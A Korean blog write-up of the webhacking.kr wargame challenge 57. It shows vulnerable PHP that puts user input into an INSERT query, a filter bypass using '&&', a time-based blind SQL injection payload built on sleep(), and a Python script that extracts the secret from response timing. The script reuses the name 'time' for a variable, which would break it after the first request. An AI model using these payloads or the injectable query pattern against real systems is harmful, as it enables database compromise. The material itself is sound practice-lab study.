늘모자란, 개발 :: [webhacking.kr] Challenge 57

늘모자란, 개발



뭔가 되게 많다.
역대 버튼중에 제일 많이 달린것 같다


<?
$secret_key="????";

if(time()>1309064400) exit("오후 2시에 공개됩니다.");

if($_POST[pw])
{

if($_POST[pw]==$secret_key)
{
mysql_query("delete from challenge57msg");
@solve();
exit();
}

}


if($_GET[msg] && $_GET[se])
{
if(eregi("from|union|select|and|or|not|&|\||benchmark",$_GET[se])) exit("Access Denied");

mysql_query("insert into challenge57msg(id,msg,pw,op) values('$_SESSION[id]','$_GET[msg]','$secret_key',$_GET[se])");
echo("Done<br><br>");
}

?>


pw가 $secret_key와 일치하면 패스.. 간단하다.
메세지와 se를 둘다 받아야되는데 특이한것이 있다면 SE에만 필터링이 되있다. msg에만 뭘 넣어도 자신있다 이런말인가?
일단 곰곰히 생각해보니 인젝션을 걸기위해서 제일 끝에 se를 이용하라는 말 같은데, 제약이 없는 msg를 이용하면 훨씬안편한가?

hi','hi all',1); #

이런식으로 만들어서 secret은 1로 주고 인젝션을 걸려고 했으나 응답이 돌아오지 않았다.... 아무 필터 안하는데는 이유가 있나보다ㅠㅠ
결국 message에는 아무값이나 주기로 하고 se에 인젝션을 걸기로 해본다

se는 or도 필터되어있고, ||도 필터되어 있다. and도 필터되어 있으나 &&는 필터되어있지 않다. && 1=1 을 걸어주니 Done이 나온다.
이제 이걸로 뭘 해봐야겠다 싶었는데, 가만 생각해보니 INSERT쿼리만 있어서 결과가 리턴되지 않는다 ㅡㅡ Done만으로는 결과를 알아낼 수가 없다.select도 필터되어있고, union도 필터되어 있다. 결과를 얻을 수단이 없다.

다시 문제를 보자. 필터중에 뜬금없이 benchmark가 있다.
sql injection no result benchmark 따위로 검색을 하면 time based sql injection이라는 글을 발견할 수 있다.

예시에는 이렇게 적혀있다.
SELECT * FROM products WHERE id=1-IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0)


if를 이용해 true일땐 쉬게 하고 아니면 0을 찍게 한다는걸까?
일단 시키는대로 한번 돌려보자. 인젝션 키워드를 넣고 돌려보았으나 달라지는걸 알질 못했다. 내가 SLEEP을 이해를 잘 못했기 때문인데..
SLEEP을 걸면 db가 말그대로 2초 멈춘다. 페이지 지연이 발생한다는것이다.

고로 request를 주고, 걸리는 시간을 파악해야했다. 옛날에 컴퓨터 CPU소리듣고 암호맞춘다는거 이 후로 진짜 뜬금없다고 생각했다. 휴..

이런느낌이다.
#!/usr/bin/env python
# -*- coding: utf8 -*-
   
import urllib, urllib2, time
   
sess = ""
  
headers = {'Host': 'webhacking.kr',
           'Cookie': "PHPSESSID={}".format(sess)
          }
pw = ''
for j in range(32,132):
    url = 'http://webhacking.kr/challenge/web/web-34/index.php?msg=m&se=if(substr(pw,1,1)={},sleep(2),0)'.format(hex(j))
    req = urllib2.Request(url, '', headers)
    start_time = time.time()
    response = urllib2.urlopen(req).read()
    time = time.time() - start_time

    print time, chr(j)


이렇게 하면

0.100000143051 
0.108999967575 
0.104000091553 
0.0979998111725 
0.0980000495911 
0.101999998093 
0.0970001220703 
0.115999937057 
2.10299992561 
0.113000154495 
0.105000019073 
0.101999998093 


명백히 시간이 차이나는 친구들이 있다. 이걸 TRUE로 쓰면 된다. length는 알아내기 귀찮으니 그냥 적당히 자릿수를 설정해서 돌려보자.
힌트를 주자면 좀 짧다. 너무 자릿수를 길게 설정할 필요는 없다. 얻은 키로 secret key를 넣어주면 문제를 해결한다.
2016/04/03 23:56 2016/04/03 23:56